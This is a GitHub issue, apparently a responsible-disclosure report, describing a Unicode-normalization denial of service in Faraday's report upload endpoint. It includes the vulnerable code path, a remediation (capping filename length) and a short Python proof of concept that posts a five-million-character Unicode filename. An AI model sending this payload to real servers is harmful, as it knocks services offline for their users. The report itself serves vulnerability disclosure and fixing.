Application-level Denial-of-Service due to a One Million Unicode attack when a Report is Uploaded Inbox
Sim4n6 opened this issue · comments
Summary
Unicode characters used in a user-controlled filename may cause an application level DoS in infobyte/faraday when a report upload is performed to create data within the given workspace.
Details
I noticed that the user-controlled filename can reach a costly Unicode normalization operation.
The filename may carry a huge Unicode characters and may cause denial of service since the call to secure_filename()
uses a costly Unicode compatibility normalization (underneath).
This could get worse with Unicode characters like U+2100 (℀), or U+2105 (℅) which when Unicode compatibility normalized becomes three characters thus tripling the size of the filename.
The Vulnerable Flow Path
-
[faraday/server/api/modules/upload_reports.py](https://github.com/infobyte/faraday/blob/952e6d6af4aea2847cebad1573345f5b29fe3574/faraday/server/api/modules/upload_reports.py#L17C5-L17C12)
from flask import ( Blueprint, request, abort, make_response,
-
[faraday/server/api/modules/upload_reports.py](https://github.com/infobyte/faraday/blob/952e6d6af4aea2847cebad1573345f5b29fe3574/faraday/server/api/modules/upload_reports.py#L17C5-L17C12)
from flask import ( Blueprint, request, abort, make_response,
-
[faraday/server/api/modules/upload_reports.py](https://github.com/infobyte/faraday/blob/952e6d6af4aea2847cebad1573345f5b29fe3574/faraday/server/api/modules/upload_reports.py#L77C26-L77C33)
abort(404, f"Workspace disabled: {workspace_name}") if 'file' not in request.files: abort(400)
-
[faraday/server/api/modules/upload_reports.py](https://github.com/infobyte/faraday/blob/952e6d6af4aea2847cebad1573345f5b29fe3574/faraday/server/api/modules/upload_reports.py#L85C9-L85C20)
abort(403) report_file = request.files['file'] ignore_info = True if request.form.get('ignore_info') in ("True", "true") else False # pylint: disable=R1719
-
[faraday/server/api/modules/upload_reports.py](https://github.com/infobyte/faraday/blob/952e6d6af4aea2847cebad1573345f5b29fe3574/faraday/server/api/modules/upload_reports.py#L96C70-L96C90)
chars = string.ascii_uppercase + string.digits random_prefix = ''.join(random.choice(chars) for _ in range(12)) # nosec raw_report_filename = f'{random_prefix}_{secure_filename(report_file.filename)}' try:
Path with 5 steps
-
[faraday/server/api/modules/upload_reports.py](https://github.com/infobyte/faraday/blob/952e6d6af4aea2847cebad1573345f5b29fe3574/faraday/server/api/modules/upload_reports.py#L17C5-L17C12)
from flask import ( Blueprint, request, abort, make_response,
-
[faraday/server/api/modules/upload_reports.py](https://github.com/infobyte/faraday/blob/952e6d6af4aea2847cebad1573345f5b29fe3574/faraday/server/api/modules/upload_reports.py#L17C5-L17C12)
from flask import ( Blueprint, request, abort, make_response,
-
[faraday/server/api/modules/upload_reports.py](https://github.com/infobyte/faraday/blob/952e6d6af4aea2847cebad1573345f5b29fe3574/faraday/server/api/modules/upload_reports.py#L81C27-L81C34)
try: validate_csrf(request.form.get('csrf_token')) except ValidationError: abort(403)
-
[faraday/server/api/modules/upload_reports.py](https://github.com/infobyte/faraday/blob/952e6d6af4aea2847cebad1573345f5b29fe3574/faraday/server/api/modules/upload_reports.py#L85C9-L85C20)
abort(403) report_file = request.files['file'] ignore_info = True if request.form.get('ignore_info') in ("True", "true") else False # pylint: disable=R1719
-
[faraday/server/api/modules/upload_reports.py](https://github.com/infobyte/faraday/blob/952e6d6af4aea2847cebad1573345f5b29fe3574/faraday/server/api/modules/upload_reports.py#L96C70-L96C90)
chars = string.ascii_uppercase + string.digits random_prefix = ''.join(random.choice(chars) for _ in range(12)) # nosec raw_report_filename = f'{random_prefix}_{secure_filename(report_file.filename)}' try:
Path with 5 steps
-
[faraday/server/api/modules/upload_reports.py](https://github.com/infobyte/faraday/blob/952e6d6af4aea2847cebad1573345f5b29fe3574/faraday/server/api/modules/upload_reports.py#L17C5-L17C12)
from flask import ( Blueprint, request, abort, make_response,
-
[faraday/server/api/modules/upload_reports.py](https://github.com/infobyte/faraday/blob/952e6d6af4aea2847cebad1573345f5b29fe3574/faraday/server/api/modules/upload_reports.py#L17C5-L17C12)
from flask import ( Blueprint, request, abort, make_response,
-
[faraday/server/api/modules/upload_reports.py](https://github.com/infobyte/faraday/blob/952e6d6af4aea2847cebad1573345f5b29fe3574/faraday/server/api/modules/upload_reports.py#L85C23-L85C30)
abort(403) report_file = request.files['file'] ignore_info = True if request.form.get('ignore_info') in ("True", "true") else False # pylint: disable=R1719
-
[faraday/server/api/modules/upload_reports.py](https://github.com/infobyte/faraday/blob/952e6d6af4aea2847cebad1573345f5b29fe3574/faraday/server/api/modules/upload_reports.py#L85C9-L85C20)
abort(403) report_file = request.files['file'] ignore_info = True if request.form.get('ignore_info') in ("True", "true") else False # pylint: disable=R1719
-
[faraday/server/api/modules/upload_reports.py](https://github.com/infobyte/faraday/blob/952e6d6af4aea2847cebad1573345f5b29fe3574/faraday/server/api/modules/upload_reports.py#L96C70-L96C90)
chars = string.ascii_uppercase + string.digits random_prefix = ''.join(random.choice(chars) for _ in range(12)) # nosec raw_report_filename = f'{random_prefix}_{secure_filename(report_file.filename)}' try:
PoC
As a proof of concept, I would use the following python script:
import requests
import sys
# Adjust the URL accordingly
url = "https://valid_instance/"
dangerous_size = 5_000_000
files = {"file": ("℁" * dangerous_size + ".bmp", open("titre.jpg", "rb"))} # Adjust the file path
response = [requests.post](http://requests.post/)(
url,
files=files
)
print(response.status_code, [response.elapsed.total](http://response.elapsed.total/)_seconds())
This would cause the application to take an endless time to handle a single POST request.
Remediation
- The fix could be as simple as limiting the incoming filename to 1000 characters as a maximum. This is similar to CVE-2023-46695 in Django codebase and https://hackerone.com/reports/2258758
Impact
- Server-side denial of service due to an attack similar to the "One Million Unicode".
Regards,
@Sim4n6
Issue submitted after via email you requested that I do so.
I would also suggest enabling private vulnerability reporting : https://docs.github.com/en/code-security/security-advisories/working-with-repository-security-advisories/configuring-private-vulnerability-reporting-for-a-repository